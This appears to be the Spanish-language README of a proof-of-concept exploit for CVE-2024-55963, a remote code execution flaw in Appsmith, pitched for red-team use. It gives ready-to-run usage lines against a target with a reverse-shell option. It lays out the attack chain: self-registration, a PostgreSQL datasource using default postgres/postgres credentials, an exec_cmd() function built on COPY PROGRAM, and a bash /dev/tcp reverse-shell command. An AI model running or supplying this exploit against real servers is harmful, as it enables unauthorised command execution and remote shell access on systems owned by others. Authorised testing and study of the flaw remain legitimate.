CVE‑2024‑55963 PoC de RCE en Appsmith

Exploit PoC para CVE‑2024‑55963 que ejecuta comandos arbitrarios o lanza una reverse shell en instancias Appsmith vulnerables.

Maneja automáticamente tanto servidores modernos (con la función environmentId) como versiones mucho más antiguas «legacy» anteriores a ella, por lo que puedes usar un solo script para todas las versiones desde v1.20 hasta la última versión vulnerable v1.51.

Inicio rápido

# Run an arbitrary command (default is `id`)
python3 appsmith-rce.py https://target.example.com [email protected] password123 "whoami"

# spawn a reverse shell
python3 appsmith-rce.py https://target.example.com [email protected] password123 -revshell <ip> <port>

Nota: Cualquier credencial sirve siempre que el servidor permita el registro autoservicio. El script intenta iniciar sesión primero y recurre al registro si la cuenta no existe.

Cómo funciona (a alto nivel)

1. Manejo de CSRF y sesión – obtiene el token de varios endpoints posibles o de la cookie jar, y lo conserva para usos posteriores.
2. Flujo de inicio de sesión/registro – inicia sesión o registra un nuevo usuario con el correo/contraseña proporcionados.
3. Descubrimiento de workspace – toma un workspace existente o dispara el flujo de onboarding para crear uno automáticamente.
4. Detección de entorno – consulta /api/v1/environments/workspaces/{id}; si no existe, cambia al modo legacy (environmentId vacío).
5. Configuración de la aplicación y la página – envía una petición POST a /api/v1/applications y extrae pageId.
6. Creación del datasource – construye un datasource PostgreSQL local que apunta a localhost:5432 con credenciales postgres/postgres (permitidas por el pg_hba.conf vulnerable por defecto).
7. Objetos SQL – sube una función PL/pgSQL auxiliar exec_cmd() junto con una tabla temporal cmd_output que recoge STDOUT.
8. Ejecución del comando – ejecuta SELECT * FROM exec_cmd('<your cmd>') mediante el endpoint /api/v1/actions/execute
9. Reverse shell (opcional) – ejecuta bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1'

Requisitos

• Python ≥ 3.8
• requests

Versiones probadas

Diferencias con el PoC de Rhino Security Labs

Este PoC es una especie de mejora del exploit de Rhino Security Labs (no me di cuenta de que ya tenían un PoC público cuando estaba revisando la investigación).

El PoC de Rhino utiliza cabeceras, cookies y credenciales estáticas. Al probar ese exploit me encontré con problemas cuando la cuenta ya existía en versiones concretas. Este script permite al usuario indicar cualquier combinación de correo/contraseña desde la línea de comandos. Como se menciona, el token CSRF se extrae en lugar de depender de valores fijos.

• Esta versión funciona en servidores antiguos que no tienen el endpoint Environments API.
• La ruta de ejecución es diferente. Esta utiliza COPY PROGRAM dentro del envoltorio PL/pgSQL exec_cmd() y usa la API /actions/execute, aunque es posiblemente más ruidosa. Rhino se apoya en el endpoint integrado de vista previa del esquema para emitir una sentencia COPY (SELECT …) ad hoc. Ese endpoint trunca la longitud de la salida y añade reglas de comillas adicionales, por lo que es más difícil pasar comandos largos o payloads encadenados.
• Un único flag de reverse shell (:
• Aleatoriza los nombres de app/datasource/función
• Sin dependencia de pyfiglet
• Soporte para servidores antiguos mediante la detección automática de la cabecera environmentId. El exploit de Rhino asume que siempre está presente.

En conjunto, estas decisiones de diseño hacen que el exploit sea más corto, más fiable y más cómodo para uso en red team, a la vez que sigue demostrando la misma vulnerabilidad subyacente.

Referencias

rhinosecuritylabs.com

Aviso legal

Este código se proporciona solo con fines educativos y de pruebas autorizadas. Ejecutarlo contra sistemas que no posees o para los que no tienes permiso explícito de prueba es probablemente ilegal. Los autores no aceptan ninguna responsabilidad por el mal uso.